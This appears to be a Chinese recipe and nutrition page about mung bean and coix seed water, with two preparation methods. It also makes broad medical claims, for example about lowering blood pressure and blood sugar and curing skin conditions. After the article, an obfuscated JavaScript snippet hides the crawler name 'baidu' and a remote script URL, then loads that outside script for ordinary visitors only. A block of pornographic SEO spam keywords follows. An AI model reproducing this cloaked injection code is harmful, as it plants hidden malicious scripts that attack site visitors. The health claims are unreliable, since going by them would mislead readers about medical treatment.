當前位置:首頁 > 飲食 > 食物營養 > 正文

綠豆薏米水的功效及制作方法

2017-07-07 12:11:49  來源:360常識網   熱度:
導語:綠豆、薏米都是大家熟悉的食物,可以制作成很多美食,多食用對身體有好處,因而受到大家的追捧,而我們就要了解綠豆薏米水的功效,這樣能讓

綠豆、薏米都是大家熟悉的食物,可以制作成很多美食,多食用對身體有好處,因而受到大家的追捧,而我們就要了解綠豆薏米水的功效,這樣能讓更多的人群知道綠豆薏米水,并且可以制作成為很多營養的湯,請大家跟著我們一起來了解綠豆薏米水的功效及制作方法,希望大家能夠時常煮綠豆薏米水喝。

綠豆煮湯有消暑益氣、清熱解毒等食療功效。經常食用綠豆能多種預防疾病,對熱腫、熱渴、熱痢、癰疽、痘毒等也有一定的療效。綠豆則有解毒的效果,使體內毒素盡快排出。

薏米綠豆水有利尿、改善水腫的效果。還有降低血壓和膽固醇,防止動脈粥樣硬化等功效。還有擴張血管和降低血糖的作用,薏米綠豆粥有美白的功效。薏仁是一種美容食品,可以減少臉上斑點的產生,常食可以保持人體皮膚光澤細膩 消除粉刺、斑雀、老年斑、妊娠斑、蝴蝶斑,對脫屑、痤瘡、皸裂、皮膚粗糙等都有良好療效。

薏米綠豆水有利水消腫、健脾去濕、舒筋除痹、清熱排膿等功效,有活血調經止痛的作用。同時還有健脾,滲濕,止瀉。用于脾虛腹瀉,肌肉酸重,關節疼痛,增強免疫力和抗炎作用。

做法一、

材料:

薏仁、綠豆、蜂蜜

制作方法:

1、將薏仁與綠豆浸泡一夜。

2、將浸泡過的薏仁與綠豆加水煮半個小時。

3、將煮好的粥連湯帶水一起放進攪拌機,打成糊。

4、等冷卻到四十度以下后,加入蜂蜜即成。

做法二、

材料:

綠豆、薏米(也稱薏仁,最好提前浸泡一晚)

制作方法:

1、先在水中放薏米,水沸煮約5分鐘后熄火燜30分鐘,隨后再加入綠豆,沸騰后轉中火,無需攪動,水持續沸騰后注意觀察,可以發現綠豆皮浮起、聚集在鍋邊。

2、拿小勺將綠豆皮撇除。

3、剩下綠豆蓉和薏米,放入冰糖。

4、待綠豆薏米水自然晾涼。

5、在杯口放置絲網過濾,拿勺子邊碾碎綠豆薏米邊過濾(此步驟可用攪拌機完成)。

6、即得綠豆薏米濃漿。

綠豆薏米水的功效就是文章中介紹的內容,同時也為大家介紹了綠豆薏米水的制作方法,在食用綠豆的時候要連著皮一起吃,如果冰一下或是加點冰會更美味。但是月經期、腸胃不好的患者不能加冰食用,會影響身體健康,在食用時必須結合自己的身體狀況。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
2021国产精品自产拍在线观看| 久久精品免费一区二区三区| 99精品无人区乱码在线观看 | 精品国产自在久久| 久久久久久久国产精品电影 | 国产成人精品白浆久久69| 国产精品免费看久久久久| 精品一区二区三区在线成人| 国产成人精品999在线| 精品国产一区二区三区不卡| 亚洲精品乱码久久久久66| 国产农村妇女精品一二区| 亚洲人成在线精品| 精品三级在线观看| 成人午夜精品网站在线观看| 日本午夜精品视频在线观看| 久久精品男人影院| 亚洲一区精品伊人久久伊人| 日韩精品专区在线影院重磅| 久久国产精品77777| 国产系列高清精品第一页 | 国产成人无码精品久久久免费| 99精品国产第一福利网站| 久久九九久精品国产日韩经典| 精品偷自拍另类在线观看丰满白嫩大屁股ass| 国产精品大尺度尺度视频| 午夜精品美女自拍福到在线| 9久热精品免费观看视频| 国产精品嫩草影院在线看| 精品国产专区91在线尤物| 99精品免费观看| 九九热这里只有在线精品视| 国产A∨国片精品一区二区| 精品亚洲成A人在线观看青青| 久久精品免费网站网| 国产精品高清久久久久久久| 久久精品国产亚洲av日韩| 精品久久香蕉国产线看观看亚洲| 久久97久久97精品免视看| 精品视频在线观看一区二区 | 99re这里只有精品热久久|